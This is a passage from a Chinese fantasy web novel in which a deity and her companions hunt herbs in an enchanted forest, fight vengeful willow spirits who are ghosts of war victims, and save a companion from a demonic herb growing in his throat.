阿金小下巴朝甄青竹的方向点了点,继续高傲地仰着头。
古青言看看甄青竹,又看看手心里的阿金,明白了。
得,还挺记仇,这是要阿竹给它道歉才肯干活呢。
但是让甄青竹给一只小兽,还是一只啃食了她心肝宝贝的小兽道歉是不大可能的,尽管这是一只极通灵性的神兽。
古青言想了想,掌心摊开伸到甄青竹面前:“阿竹,能给我一块银子吗?”
甄青竹不明所以,但还是拿出了一大块放在古青言掌心。然后,她就眼睁睁地看着古青言把那一大块银子都喂给了掌心的小兽。
“阿竹孝敬给你的,不要生她的气了好不好?”古青言如此哄骗道,然后一指抵住了冲上来要跟阿金拼命的甄青竹,转过头来哄这个,“乖,给它吃一块,它能找到更值钱的。”
“真的?”甄青竹轻蔑的看了一眼阿金,“就它?”
阿金一听又要炸毛,古青言两指捂住阿金的耳朵,另一只手捂住甄青竹的嘴巴:“停战。”
一大块银子很快被阿金啃得精光。吃饱喝足的小兽满意极了,“呲溜”一下跳到了地上,到前面开路去了。
阿金神兽的气息弥漫开来,他们脚下的蛇鼠即便是隔着厚厚的地表,仍然惊恐地四散逃亡。
看不到这些腌臜物,张辞晚轻松了很多,有余力四处观察起来,还真在犄角旮旯里采到不少灵药。
森林中万籁无声,高大的树木遮挡了天空,叫人难以分辨出时间的流逝。古青言一边走一边在心中计算着四人进入森林的时间,猝不及防撞上了宽阔的脊背。
古青言揉了揉额头。瞧着挺瘦弱的一个人,背部还挺硬,有点痛。
被撞到的人还没说话,她先问:“你怎么突然停下来了?”
睿安好气又好笑:“是阿金停下了。你叫人家带路,怎么自己走神不看它。”
古青言无以辩驳,踮起脚越过睿安高大的肩去看阿金。
睿安看她脖子探的辛苦,侧身让开。
阿金正围着一棵粗壮的大树上蹿下跳,小小的眼睛里泛着精光,好像发现了什么大宝贝!
28. 柳女(一)
百年艾给予了四人可以穿透地面视物的能力。眼前的巨木树根深埋地下,而约有十几米深的树根下,一棵硕大的人参安然隐匿其中。
张辞晚面上惊喜:“这棵人参瞧着至少有千年了,是不可多得的宝药。”
阿金已经迫不及待地刨起了那块土地,速度几块,很快就挖出了一个深坑。
一柄长枪掷出,甄青竹也不甘示弱,加入了刨土行列。长枪若有若无地蹭过阿金,刮下来一小撮毛发。长枪的主人报复成功,悄悄勾起了嘴角,没有注意到阿金的毛发落地成金,埋藏进土壤里。
阿金此时全心全意都在地底的人参上,顾不上理会甄青竹,扭头一口吞掉自己掉下来的金子,继续深埋土中。
只消片刻,阿金的小爪子与那棵人参之间只剩下一层薄土,它小小的眼睛里精光更深,激动地一爪子抓了下去。
说时迟那时快,一直安安静静毫无反应的人参根须颤动,还不等阿金的爪子落在最后一层薄土上,一道残影便率先破土而出,激起的泥土糊了阿金一脸,也将甄青竹的长枪埋了一半。
细长的根须在地面掠过,灵巧地绕过四人,向林子深处暴射而去。
竟然是一棵成了精的人参!
能成精的人参至少有万年之久,却伪装成千年人参的样子不被人发觉,再趁他们即将到手放松紧惕之际逃脱。这人参精灵智实在不低。
到嘴的肥肉就这么飞走了,小财迷甄青竹最先反应过来,飞身朝人参精逃走的方向追去。腰间睿安的法器使四人相连,扯得其他三人一踉跄,也跟着追上。
正在林间飞驰间,古青言看到小小一团不明物贴着自己飞了过去,很快超过了四人。
原来阿金是会飞的——古青言深感被欺骗。
之前每次找阿金帮忙,它都迈着小短腿慢悠悠地走。古青言当时还奇怪它好歹也是只仙界的神兽,竟然不会飞。
如今看来,大抵是在敷衍她,没有尽全力干活。
直到今日,堂堂神兽竟然被一只小小人参精戏耍了,这才怒上心头,展现出自己真正的实力。
阿金虽然飞得快,但是那小人参精借助自己对本草森林的熟悉,七拐八绕,一直利用地形阻碍几人的追捕,一时竟也没叫几人追上。
四人一兽闷头追了许久,早已不见了来时路。
睿安一路跟着阿金跑,却突然感觉腰间被一股巨大的力量扯动了一下,随即轻快了许多。
他顿感不妙,回头看去,却之见跟在队尾的张辞晚飞速倒退,系在腰间的绳子断裂在半空,自动向睿安腰间回缩。
“张姑娘!”他大喝一声,扯动腰间法器迫使还在向前飞的古青言和甄青竹停下,顾不得多解释就要调转方向去追张辞晚。
却只听惊呼一声,是甄青竹的声音。
一根细长的柳条悄然缠上了甄青竹的脚腕,将她从空中重重地扯向地面。
不知不觉间,他们已然追着人参精进入了一片柳树林!
这次古青言更早反应过来,一掌拍向腰间的穹银袋,薄而利的钱币从中飞出,如同刀刃暗器,飞至甄青竹身前,瞬间割断了缠着她的柳条。
古青言正要去接失去平衡的甄青竹,刹那间,无数柳条扬在空中,群魔乱舞,向三人聚拢而来。
睿安手中执笔,片刻间周身升腾起一道法阵,将枝条隔绝在外,不能近身,却也被绊住了脚步。
忽然,幽暗的柳林中银光大作,穹银袋悬浮在半空中,袋口大开,千万片钱币涌出,如天女散花,却远比花瓣更有力量,瞬间将聚拢在三人周围的柳条寸寸斩断。
片片钱币有规律地环绕成群,将三人都包裹在其中,严密地保护起来。
断裂的柳条洒落满地,痛苦尖厉的啸声同时响彻,一声声如波澜叠动,在林间回荡。
甄青竹跌落在地上,长大嘴巴看着古青言:言言的修为什么时候这么高了?
顾不上回应她的目光,古青言过去要将她扶起来,却见甄青竹神色一变,紧接着捂住了耳朵,五官都痛苦的蜷缩。
“是谁?是谁在哭?”艰难地吐出这几个字,甄青竹蜷缩在地上,浑身痛出冷汗。
古青言被这突如其来的变故惊得心跳都骤停了一瞬,她扑过去将甄青竹半抱在怀里,虚虚拢着,想触碰却又怕碰到她的痛处:“阿竹,你怎么了?哪里痛?”
怀里的人几乎说不出话,吐气艰难:“是谁在哭?”
“哭?”古青言心头无措,“没有人哭啊。”
张辞晚被拖走了还没有找到,此处就只有他们三人啊。
古青言抬头看向睿安,也只得到他同样不解的眼神。
“你们没有听到吗?”甄青竹虚弱的说,“有人在哭,有很多人在哭。”
古青言没有怀疑甄青竹是不是痛出了幻觉,因为她很快也听到了甄青竹所说的声音。
是凄凄切切的低泣,时而悠远空灵,时而又在耳边呢喃,似在林间回响,又似在心头震颤。
如怨如慕,如泣如诉。
“我好恨!”
“我好恨啊!”
声声泣血。
古青言只觉有针锥刺入脑海,直达灵魂,难以言喻的悲伤与哀婉在心间荡漾,眼中不自觉便留下两行清泪。
有一瞬间,她只觉得天底下的一切都可憎可恨,无一不叫人厌倦,无一不叫人痛苦。
世家惨事十有八九,又为何眷恋?
不如毁去。
甄青竹也一直在哭,眼泪一滴一滴,由透明变得血红。
妹妹的血刺激了古青言的双眼,让她清醒过来。
周身神力流转,来自神明的威压毫不收敛地扩散开来。
“何方宵小,在此祸乱人心?”
整座山林都仿佛被这声音压得震颤,连树梢都不由得压低了几分,努力降低自己的存在感。
凄厉的惨叫取代了哀婉的哭泣,空中成千上万的钱币相互敲击,叮叮当当,清脆悦耳。
甄青竹瞬间清醒过来,血泪还挂在脸上,她呆呆地望着天空:“好多钱……”
古青言松了半口气,回头去看睿安。
晶莹的泪水
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还盈溢在美人水墨色的眼中,脸上易有剔透浑圆的泪珠还未来的去拭去。美人刚刚回过神来,眼中朦朦胧胧,好不可怜。
至少古青言是这样认为的。
饶是在劫后余生,凶险未知的此刻,她还是被绝顶的男色吸引,愣神片刻。
她想起方才在柳妖音波攻击下的感觉。
谁说世间无可眷恋?美食,美酒,美色……多好的日子。
她不禁笑起来。
睿安方收拾妥当自己的形容,就对上这个莫名其妙的笑容,有点想扒开这个人的脑子看看里面装了什么。
凄切的声音还在响彻,张牙舞爪的柳条也没有放弃对他们的攻击。只是都被严阵以待的钱币挡在外面,不得寸进。
古青言把甄青竹拉起来,维持着周围钱币的阵型,向前推动。
他们得尽快把张辞晚找回来。
望着无边无际的森林,古青言不免有些心焦。
这要怎么找?
“张姑娘也是被柳条拖走的,定然还在柳林中。”睿安道,只有他看见了张辞晚被拖走的那一幕。
古青言停下脚步:“这样找太慢了。”多拖一刻,张辞晚便多一分危险。
她两手结印,周围钱币的排列随之变化,转守为攻,凌厉森严。
古青言手势一动,无数钱币飞散出去。
“噗呲”“噗呲”,柳条被斩断。
“砰”“砰”“砰”,钱币直奔柳树的树干,嵌入进去。小小一枚,没什么反应。
下一刻,钱币嵌入的地方出现裂纹。
裂纹以极快的速度蔓延开来,遍布整个树干。
“砰!”一声巨响,整棵柳树炸裂开来,木屑四溅。
这样的场景同时在几十棵树木上发生,在古青言听来,就是噼里啪啦的一阵响:“把我的同伴还回来。否则,我就一棵一棵杀过去,直到找到她为止。”
“找到她又有什么用呢?”女子的声音回应了她。
古青言闻声看去,这才发现被劈开的柳木中,点点灰黑的灵光汇聚成一道道人影。
但没有了柳树,这些灵体就如无根之萍,松松散散,渐渐虚幻。
离得最近的一道灵体不顾飞旋钱币的威胁,朝他们靠近,正是方才说话的那位:“她还是会死的。”
古青言皱起眉头,锋利的钱币好似刀刃,蓄势待发:“少废话,把人叫出来。”
女子自顾自地说着:“都会死的,会跟我们一样,四的凄惨,痛苦,无人问津。”
“这狗日的世道!”瘦弱的女子爆了句粗口,“无辜者没有活路,得利者稳坐高台。”
“既然如此,大家一起死吧。”女子轻巧地说了一句,动作却截然不同。她忽然奋不顾身地朝几人撞来,“你们也来给我陪葬吧。”
跟她一起行动的,还有周围数十道即将消散的灵体。
“好恨啊,我好恨啊——”凄厉的声音再次回荡。
古青言操纵钱币抵御,将说话的那只抓了进来:“我的同伴呢?还有,你们到底是什么怪物?”
29. 柳女(二)
“怪物?”女子眼中恨意惊人,“你说我们是怪物?”
“战场上端坐高台的才是怪物!”
战场?古青言敏锐地捕捉到这两个字。
又跟战场有关?
古青言拧眉。财神爷遣她下界调查妖族战事时,她本没有放在心上。
三界之中战事冲突何其频繁,原因无非就是那些,资源,金钱,土地……人界十年一小打,百年一大战,也未见仙界有人插手,却为何偏偏要管妖界的事情?
如今看来,财神爷莫不是知道什么隐情?
这人也真是,若真有隐情也不知道与她细说,只叫她在此苦苦摩挲?
这可如何是好?古青言不禁在心中抱怨起自己的上司。
思量间,被她抓进来的柳妖激烈挣扎着,一双眼眸中尽是疯狂与辈分,竟隐隐已有些泛红了。
古青言被她的眼睛吓了一跳,紧接着便看到丝丝缕缕地黑气从她并没有实体的身体上溢出,迅速沿着古青言的手臂蔓延上来。
手臂上传来微微的刺痛感,那黑气试图穿过她的肌肤,进入她的气海。
经过共枕树族一遭,古青言已然知道了这东西就是魔气。
她赶忙放开了手。那柳妖摆脱了束缚,立即便伸出尖利的指甲朝古青言抓来。
一道小型束缚阵法凭地而出,将柳妖死死禁锢在原地。
有了睿安出手相助,古青言这才得空细细打量柳妖,发现她先前判断错了。
眼前的柳妖周身灵气黯淡,几乎完全没有,反而是围绕着浓郁的——死气。并不像妖族的灵体,反倒是像死后的亡灵。只是这亡灵并未像大多数亡灵那般进入轮回,而是附在了柳树上。
原理与先前在甄古府所见的衣服鬼有些类似,但将原本就有生命的柳树作为载体,显然灵气与愿力都更加充足,产生的鬼怪也就更高级一些。
看样子,似乎还带有生前的记忆?
亡灵显现,即时他们生前最后的模样。
古青言将注意力放在这柳妖的打扮上。这女子虽衣衫破烂,血迹斑斑,却很容易看得出来,这衣裳原本是用极好的料子制成的。再看样式……
“植妖王族的衣裳制式,梳的却是动妖王族的发髻。”睿安却像是认出了什么。植妖族与动妖族世代仇敌,怎么会有人同时兼具两族服饰的特点呢?
“天底下会这样打扮的,只有动妖族的和安公主,植妖族宁妃——白无归。”
古青言惊讶地看向睿安。
他所说的这两个身份,单拎出来无一不是天潢贵胄,尊贵无双。但若是叠加在同一个人身上,古青言不难猜出在眼前的女子身上发生了什么。
和亲公主,国家之间利益斗争的牺牲品,自古以来几乎没有那个和亲公主能得以善终。一旦两国开战,和亲公主便是第一个血祭战旗的供品。
古青言又环顾钱阵之外,还在不断试图攻进来的柳妖们。
这些柳妖全部都是女子,她们形色各异,有的华服锦绣,似闺阁千金;有的素衫白裳,是平民碧玉;有的甚至只穿着简单的粗布衣,像是最朴素的农家妇人。但这些人,没有一个披着战甲,她们都是手无缚鸡之力的普通人。
但狰狞的刀口,折断的箭羽,法术穿透的血洞......这些残酷的印记在她们身上格外刺眼鲜明。
她们大约——都是被战事无辜波及的百姓吧。
曾经或平和,或温柔,或明媚的眼眸中,如今都只剩下滔天的仇恨。
因恨而生魔。
原本对着柳女们要害之处的锋利钱币忽然有些下不去手,只将平滑面朝向她们。
操控者心智不坚,原本竟然有序的钱币们也渐渐乱了阵脚,摇摇欲坠。
她固然有能力将她们尽数斩杀于此。可是若如这样,她们将彻底湮灭,失去重入轮回,再次转生的机会。
古青言眼中挣扎之色欲浓,耳边似乎响起甄青竹催促的声音:“言言,你不会是心软了吧?她们不死,死的可就是我们了。”
是啊,她无法让已然入魔的柳女停止对她们的攻击,张辞晚也还下落不明,生死不知。
可是……
她们也只是无辜的受害者。
和安公主说得对,无辜者不能超生,真正调动战争,致使生灵涂炭的人却还逍遥法外,稳坐高台。
死的不该是她们……
她该怎么办?
原本井然有序的钱币们已然因为古青言的心神动摇而排布紊乱,两个柳女找准缝隙钻了进来,直扑三人中最好下手的甄青竹。
原本已经重伤的甄青竹抵挡不及,身上又添了几道伤口,发出痛呼,朝古青言这边躲。
情急之下,古青言指尖下意识地动作,几枚钱币以极快的速度落下,直直刺入两道亡灵。
“噗呲”钱币从灵体中穿出,回归原来的轨道。
那两道亡灵停滞了一下,随即彻底碎裂开来,消散于天地之间。
古青言都没来得及看清她们的模样……再也不会有人看到了。她蜷缩起手指,从来都波澜不惊的脸白了几分。
环绕在他们周围的钱币越发摇摇欲坠。
“言言,你想让我们都死在这吗?”甄青竹交集地厉声质问。
古青言十足无措。她觉得自己懦弱极了,为什么如今掌控局面的偏偏是她呢?为什么要她来做这个决定呢?
要是她没有能力杀死这些柳女……
一只手从后方伸过来,搭上她的手腕,坚定地握住了她。
微微回过头去,古青言就对上了睿安的眼睛。
另一只手覆上了她的眼睛。眼前一片漆黑,什么都看不到了。
手腕上传来力道,带着她惊慌失措,有些脱力的手轻轻一挥。
风声停了,破空声消弭,没有人再苦苦泣诉悲恨。
睿安的手下有水珠划过,顺着他的手低落在地上,消失在满地的枯叶里。
古青言腕上的手微微颤抖,不似从前平稳。
她反握住他,他将她揽入怀中。
天地间万籁无声。
难以言明。
无需多言。
甄青竹长大嘴巴看着两人,觉得自己发现了什么不得了的事情。
不知过了多久,一声轻唤将几人从恍惚中拉出现实。
“阿言,阿竹。”张辞晚从林间走出来,身上沾满了柳叶,形容狼狈,脖子上有一道血痕,但整个
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人看起来还算不错,甚至比重伤的甄青竹还好上几分。
似是看到场间一地狼藉,像是刚经历了一场恶战的样子,她关切地问道:“你们没事吧。”
张辞晚出来时,古青言便已经从睿安怀中退开了。她冲张辞晚摇摇头,面容僵硬,还有些没缓过劲儿来。
倒是甄青竹迎上去:“阿晚,你没事吧?我们可担心死你了。”
张辞晚示意自己没事,还一脸心疼地查看甄青竹身上的伤口,手中聚起淡绿的灵力,轻轻覆上甄青竹的伤处。
伤口以肉眼可见的速度愈合着,同感一点点消失,只余下浅浅未干的血迹。
甄青竹眼前一亮:“阿晚你什么时候变得这么厉害了,看来大椿族的那些时日没白待啊。”
“你是怎么逃出来的?”夸赞一通,甄青竹才想起来问她。
张辞晚扬了扬手中的小瓷瓶:“毒药。”她把绑她的柳妖毒倒了。
甄青竹竖起大拇指:“高!”
“言言,这里好危险,我们还要继续深入吗?”甄青竹看向古青言。经此一战,隐隐窥见古青言真正的实力后,甄青竹有些不自觉地依赖她。
此时甄青竹和张辞晚都已经带了伤,睿安和她的状态也不大好,故而古青言没有考虑太久就摇摇头:“我们已经采到不少药材了,见好就收吧。”
她在掌心画符,想把刚才追着小人参精跑丢了的阿金召唤回来。阿金却没有像往次那样立即出现在她的手上。
就在古青言心里一咯噔,以为阿金出了什么意外的时候,一个小身影出现在视野中。跌跌撞撞地,嘴里衔着个比自己还要大上些许的东西。
阿金气喘吁吁地跑过来,将嘴里的东西放下,齿间带下来几根参须。
一直不停挣动的小人参精忽然失去束缚,被扔在地上,懵了一瞬,随即看到自己秃了一块的身体,张开嘴哇哇大哭起来。
虽然它其实并没有嘴,也没有眼泪,但哭声震天震地,古青言不禁想象出来它此时的小表情。
本以为要与这宝贝失之交臂,没想到竟然真叫阿金给抓到了。甄青竹惊奇地看着地上哭得伤心的小东西,一改对阿金的横眉冷对,甚至还主动拿出一块拇指大的银子要喂给它。
但刚吃掉人参精几根根须的阿金已经看不上这点银子了,脑袋一扭不理甄青竹,又盯上了小人参精剩下的根须。
小人参精哭声顿住,往后退了退,瑟瑟发抖。
还没咬到小人参,一大块金子挡住的阿金的去路:“好了阿金,这是救人性命的东西,你就别拿来当零嘴了。”
阿金瞥了古青言一眼,勉强同意,抱着金子美滋滋地啃了起来。
“此地不宜久留,我们这就折返吧。”古青言征求几人意见。
张辞晚点点头,却道:“只是方才追的急,已经不知此地在何处了,不知要往哪个方向走才好?”
“这还不简单。”甄青竹成竹在胸,“这林中尽是腐叶烂泥,我们一路跑过来定然留下脚印,只要沿着来时的脚印......”
滔滔不绝的声音在甄青竹转过头是戛然而止。
满地柳枝落叶,断木残骸。
哪里还有来时的痕迹?
30. 百年艾(三)
甄青竹傻眼了,看向古青言:“怎么办呀?”
古青言摇摇头,她方向感一向不好。
低头看向阿金,正在啃金子的阿金怒目而视,意思很明白:我是嗅金兽,不是识途的老马!
古青言失望地收回视线,心里嘀咕堂堂神兽竟如此无用。
还是睿安更为靠谱:“不如我们四人分别想东南西北四个方向探探路,有我的法器相连,也不至于走散。”他重新把笔毫系在了几人腰间。
一时也想不到更好的办法,几人便采取了睿安的提议。
想到方才张辞晚被拖走,即便有法器相连,古青言还是有些不放心:“大家别走太远了,觉得不对就赶紧退回来。”
另外三人点头应下,各自寻了一个方向。
古青言向东方而去,很快走出了已经枯败凋零的柳树林。回头望去,其他三人也已经消失在视野中,只有腰间长毫上微微拉拽的力道,还彰显着同伴们的存在。
她继续往前走,阿金拖着小人参精哼哧哼哧跟在后面。
古青言看阿金跑得实在辛苦,小人参精被阿金咬得也实在可怜,便将它们拎起来托在掌中,一手一个。
逃出“虎口”的小人参精松了口气,用自己的小根须拍了拍胸脯。
阿金够不着它,呲牙咧嘴地隔空威胁。
古青言静静看着这两个小东西,心情不自觉地好了不少。有了它们的的陪伴,这一路热闹极了。
不知走了多久,古青言喉咙发痒,有些口渴。
她吞了吞口水试图滋润干痛的嗓子,打算找些水喝。
掌中的阿金却突然停下了与小人参精的大闹,小眼睛盯着古青言的喉咙。
古青言以为它也渴了,正要开口安抚,却发现自己有些失声,喉间的异样敢愈发明显。
突然,阿金从她手中一跃而起,猛地撞向古青言的喉咙。
古青言被它撞的呕出来,弯腰欲吐。剧烈地刺痛感从喉咙划过舌苔,直到嘴唇。
灰白的草落在地上,混着鲜血。
古青言看着地上原本小小一片的百年艾,如今却蔓延出许多带着小刺的枝叶,变成了狰狞模样。
那枝叶如同触手一半,落在地上蜷缩几下,还试图吸收古青言的血继续生长。
若不是阿金发现异样帮她将这东西吐了出来,让它继续在她喉间扎根,势必会长出更多的尖刺,要不了多久,便会刺穿她的喉咙——后果不堪设想!
这百年艾有问题!
必须赶紧告知甄青竹三人,让他们把这东西取出来。
古青言脑海中只剩下这一个想法,立即调转方向想要顺着腰间的长毫找到另外三人。
还不待她折返几步,腰间缠绕的毫毛忽然松了力道,其上属于睿安的妖力迅速衰弱,光芒黯淡。
不给古青言反应的时间,长毫迅速缩短回撤,倒飞而去。
如果睿安是遇到了什么妖物需要召回法器作战,那他应该会让法器将她们几人一并带去,而不是如今这般,灵力溃散,无力支撑。
睿安应该是受到了致命伤害!
古青言暗道不好,飞身追着回缩的毫毛而去。
她心急如焚,脚下动作飞快,竟比回缩的法器还要更快来到睿安的身边。
素衣上沾了血,睿安一手扶着身旁的树干,整个身子的力量都支撑在上面,勉励维持着身形。额头上冒出细细密密的汗珠,似是在忍受着极大的痛苦。
另一只手死死捂住喉咙,指甲快要掐进肉里,留下血痕,嘴角也有鲜血溢出。
饶是如此,他还是试图向自己的法器里注入灵力,想将古青言几人拉回来。
若是没有他的法器相连,在这是偌大的森林中几人势必会走散。
古青言疾步上前,想将睿安喉咙间的手松开,不要伤到他自己。
微微拉开一点,却见睿安喉结处一片猩红,一根因染了血变成深色的草从血洞中生长出来,还在以肉眼可见的速度延伸着。
血洞里,还可以看到数根细小的枝叶挣扎着想要突破他的血肉。
古青言寒毛直立,浑身发颤。
“隐怀......”她声音发抖,将已经痛得意识不清的人抱进怀里。
她手掌裹挟着神力颤颤巍巍地靠近怀中人的喉咙,想要将那啃食他生命的魔草逼出来,却不知那草已经在他体内生长成了何种模样,迟迟不敢动作。
咽喉是人的要害之处,哪里能容闪失,怎么能……
汗珠蒸发一点点带走怀中人的体温,古青言只觉得自己的身体也跟着寒凉彻骨。
“哼唧”,小兽的叫声将她从铺天盖的的惊惧中唤醒。古青言怀抱最后一丝希望看向阿金:“你能救他吗?”
阿金看看睿安已经成了血窟窿的喉咙,发觉像方才撞古青言那样将睿安喉咙里的东西撞出来是不行的。
那草已经在他喉咙里扎根了。
古青言绝望地闭了闭眼。
她深吸一口气,强迫自己冷静下来。
怎么才能在不伤害睿安的情况下将那草逼出来?
天地间雾气浓郁,白茫茫一片。
失去了百年艾的加持,她也失去了穿透迷雾视物的能力。
穿透视物……
想要看清魔草在睿安身体里的模样,肉眼是行不通的。
但神识可以!
忽然有了主意,古青言咬咬牙,将睿安扶起来。
只能死马当活马医了。
她闭上眼,手掌贴上睿安的脊背,将神力缓缓输送进去。
坠空感从□□上传来,随即便失去了所有知觉。
因为她的神魂已经从□□让抽离了出来,一点点向睿安靠近。
到了睿安身前,她却有些犯难——该从哪进去呢?眼睛,鼻子,嘴巴……?
她的肉身在背后支撑着睿安的身体,她的神魂却从正面拥住了他。
透过肉身,拥抱灵魂。
两个神魂紧紧相贴,古青言彻底失去了视线,陷入一片黑暗中。
她试着调动神力,星星点点银色的光亮在黑暗中升腾而起,汇聚成浩瀚银河,源源不断。
这是她正不断输送进睿安体内的神力。
她沿着这条银河游走于睿安的经脉丹田之间。
终于,丝丝缕缕的黑气吸引了她的注意力。顺藤摸瓜,狰狞泛滥的
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枝条草叶出现在眼前。
似乎发现了她的存在,草叶如魔爪向她扑来,试图将她绞杀。
她巍然不动,银色的神光从神魂上亮起,霎时间震退草叶,却在临近周围的血肉时收敛了锋芒,温柔遣倦。
小小魔草,岂敢冒犯神明?
神魂之力反客为主,逼退张牙舞爪的魔草,一点点压榨它的生存空间。
你算什么主人?古青言嗤笑。
这是睿安的身体。
魔草再不复嚣张气焰,畏畏缩缩得蜷缩起来。
阿金看到,睿安喉间猖狂作乱的枝条瑟缩了一下,随即很快缩了回去,不见踪影。
古青言的肉身动了一下,随即睁开眼睛,另一只掌也拍向睿安,加大神力输送。
她已经用神识将睿安体内的魔草束缚住,只待逼出他的体内。
睿安后背受力,身体绷直。
“噗”,一口黑红的血从他口中喷出,洒落一地。
但那团魔草还是死死卡在喉间,不肯出来。因为它知道,一旦离开这具□□的供养,等待它的便只有死亡。
睿安意识模糊,一会觉得灵魂都已经要出窍,身体渐渐失去掌控;一会有觉得有温暖的力量拉回了他几欲飘走的灵魂,留存住了他仅剩的体温。
半梦半醒间,他恍惚间感到一双柔软的手捧住了他的脸颊。紧接着,柔软的东西贴上了他的唇瓣,带着微凉与清香。
他瞳孔颤了颤,大脑彻底失去了思考的能力。
大抵是要死了吧……
咽喉处传来刺痛,有什么东西被唇上的柔软吸了出来,离开他的身体。
面目可憎的魔草被摔在地上,阿金一爪踩了上去,低垂着脑袋没眼看自己的主人。
古青言还顾不上矜持与害羞,因为魔草虽然逼出来了,可是睿安喉间的血还在流着。
被刺穿喉咙,还能活吗?
怀中人气息微弱,彻底昏迷过去。
古青言看看阿金爪下已经死透的魔草,又看看它另一只爪下被死死攥着还没死透甚至生龙活虎的小人参精,脸上露出一丝歉意。
小人参精正与阿金的爪子作着斗争,猝不及防地屁股一痛。几根根须伸长了一摸。
!!!
少了几根毛!
旁边古青言看着手里的人参须,遇到了新的难题。
怎么用呢?
“阿言!”一声呼唤宛若天籁。
古青言抬头看去,只觉张辞晚此刻浑身散发着神圣的光辉。
她一抬头,也让张辞晚看清了她怀中睿安的模样。
顾不得多说,她迅速走过来,从手里的布袋中倒出许多草药。
这些草药上还沾着泥土,像是刚采的。各式各样,琳琅满目,古青言一个也不认得。
张辞晚挑出几棵捣碎了,又一把拿过古青言手里的人参根须混进去,又嫌不够地从小人参精身上拔下几根,一部分敷在睿安颈间,一部分喂给他。
睿安呼吸渐渐平稳下来。
古青言松了口气,连小人参精哇哇大哭的声音都觉得喜庆了不少。
但还没完全松下去,就被张辞晚的话又提了起来。
31. 百年艾(四)
“如今只是用参须和这些灵药吊住了他的命,喉咙处伤势太严重了,仅凭这些救不了他的命。”
古青言一口气又提到了嗓子眼里。
张辞晚话说了一半,见她脸一下子白了,急忙道:“但也不必太过忧心。”
“俗话说得好,十步之内必有解药。这魔化的百年艾就长在本草森林中,只要我们仔细去寻,就一定能找到办法的。”
这刺喉穿肠的百年艾早已不是能助人趋吉避凶,找到宝藏的神草,而是被魔气滋养出来魔草。
百年艾百年才得一叶,何其珍贵稀有,今日来竟在本草森林中如此泛滥,这事本就透着不寻常。
只是那么多慕名而来的寻宝之人都靠着这草平安进出,从未听说有过披露,这才没有细究。
如今想来,本草森林中处处凶险,即便有百年艾傍身,又怎么可能一点意外都不出?
或许遭遇以为的人都全军覆没在森林里,尸骨无存,这才没有负面的风声传出?
重回妖界后经历了许多事,古青言如今不得不去揣测这背后的因果。
是不是有人故意用魔气催生了这些百年艾,又故意放一些前来寻宝的人平安离去,以此来吸引更多的人踏足这片森林?
如此一来,便会有越来越多,源源不断的人葬身此地。尸气,死气,怨气交织,边容易催生魔气。
这是要把这片本草森林变成新的魔域!
古青言细思极恐。
“我在南边的林子里发现了一大片药田,正想着要不要叫你们一起过来采摘,就发现睿安的法器断了,一路赶过来。还好不算太迟。”张辞晚一边给睿安包扎伤口一边如此说道。
古青言不禁忧心起迟迟还未赶到的甄青竹来。
当时四人分开,古青言去了东边,睿安来了北边,张辞晚选的是南边,甄青竹在西边。
离得最远,修为又最低,脚程最慢的张辞晚都赶过来了,甄青竹却没有动静。
古青言和睿安,甄青竹三人的百年艾都是从本草森林外围采摘的,只有张辞晚的百年艾是来自大椿族木繁的赠与。古青言和睿安的百年艾都出了问题,甄青竹那边......
古青言不敢再等,一把背起睿安:“咱们得去找阿竹。”
张辞晚帮她扶着睿安,领着她往西边走。如今只有张辞晚还有百年艾,能在这片森林中畅通无阻。
这一路倒是再没起什么波折,只是山林太大,又不知甄青竹的具体方位,向西寻了大半日也不见人影。
睿安也一直昏迷着,没有醒来。
“阿言,你看那!”张辞晚忽然发现了什么,给古青言指了一个方位。
顺着她的手指,古青言抬眼望去,白茫茫一片,尽是雾色......遂向张辞晚投去茫然的眼神。
意识到古青言是看不到的,张辞晚拽住她往过走:“好像是阿竹的扶摇枪。”
直至行至长枪跟前,那一抹赤色才进入眼帘。枪尖深深刺入地下,鲜艳的枪缨在空中飘动,一看就是被它的主人狠狠投掷过来,却没有刺中目标,插入了地下。
只有枪,没有人。
古青言心中更加不安。
是什么样的情况,会让人将本命武器都丢下不管?
今日经历了诸多变故,古青言此刻竟奇迹般地冷静了下来。
她在有限的视野范围中观察起周围的情形,周围除了被扶摇枪砸出的坑并没有什么激烈的打斗痕迹,更没有血迹。
由此推断,甄青竹在掷出此枪时,要么并没有受伤,要么......
就是被修为远高于自己的攻击击中,一击泯灭,甚至来不及反抗,连一点痕迹都没能留下。
古青言沉默地凝视着地上的长枪,良久,她伸出手握了上去。
随即,嘴角勾起一丝笑意。
“阿竹的灵力在排斥我。”古青言高兴地对张辞晚说。
法器认主,不允许主人以外的人掌控它。除非主人身死道消,那法器自然会重新变为无主之物,不在排斥他人。
既然扶摇枪上还有甄青竹的灵力,那至少说明她还活着。
掌中神力翻滚,包裹住掌心,古青言缓缓握住扶摇枪,丝丝缕缕的银丝如蛛网般将长枪束缚住,连同枪中来自甄青竹的本源法力。
长枪震颤争鸣,细密的刺痛感从掌心处传来,古青言秀眉微拧,手中狠狠一握。巨大的冲击力从交握的地方逸散开来。
古青言纹丝不动,手臂紧绷,手指紧握住枪杆,缓缓抬起。
金属枪尖被一寸寸地从中拔出,土屑沾染其上,却又被强大的灵力波动震散开来。
“铮啷”,长枪冲破土壤,破空而起,枪尖直指西方更深处的密林。
枪身震动不已,想要挣脱古青言的手心,隐隐带着急切。
古青言化握为掌,汹涌的神力狠狠打在枪尾。长枪顺势破空而出,迫不及待地去寻找自己的主人。
一手背起睿安,一手拉住张辞晚,古青言足尖轻点,神力流转,身形轻盈好似没有重量,紧跟着扶摇枪向西方掠去。
飞着飞着古青言的眉毛拧得愈发紧了,她速度缓下来一些:“阿晚,你有没有感觉到——”
她又说不上来是什么感觉,只觉得头顶被一片阴霾笼罩,连空气都似乎浓稠了起来,叫人心口憋闷,整颗心都直往下沉。
“感觉到什么?我是你的拖累吗?”张辞晚冷不丁地来了这么一句。
古青言猝不及防,愣了一下,扭头去看张辞晚。只见她眉眼低垂,潸然欲泣,却死死咬着红唇,眼中尽是郁气,透亮的眸子漆黑深邃。
冰凉的指尖点上内心,清爽的气息从眉心缓缓蔓延至全身,张辞晚紧绷的身躯一点点放松下来,盘踞在心头的忧虑,紧张,不安被轻轻扫去,一片清明。
她好似刚睁开眼一般,看到近在咫尺的古青言,心下茫然了一瞬,又回想起自己刚刚鬼使神差说出的话:“阿言,我......”
古青言的手指没有离开她的眉心,寥寥
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几笔勾勒出一道银色莲花,清心定神。
“此处有魔气。”她道。魔气会放大人心中所有的负面情绪,干扰人的心智,最终让人产生心魔。
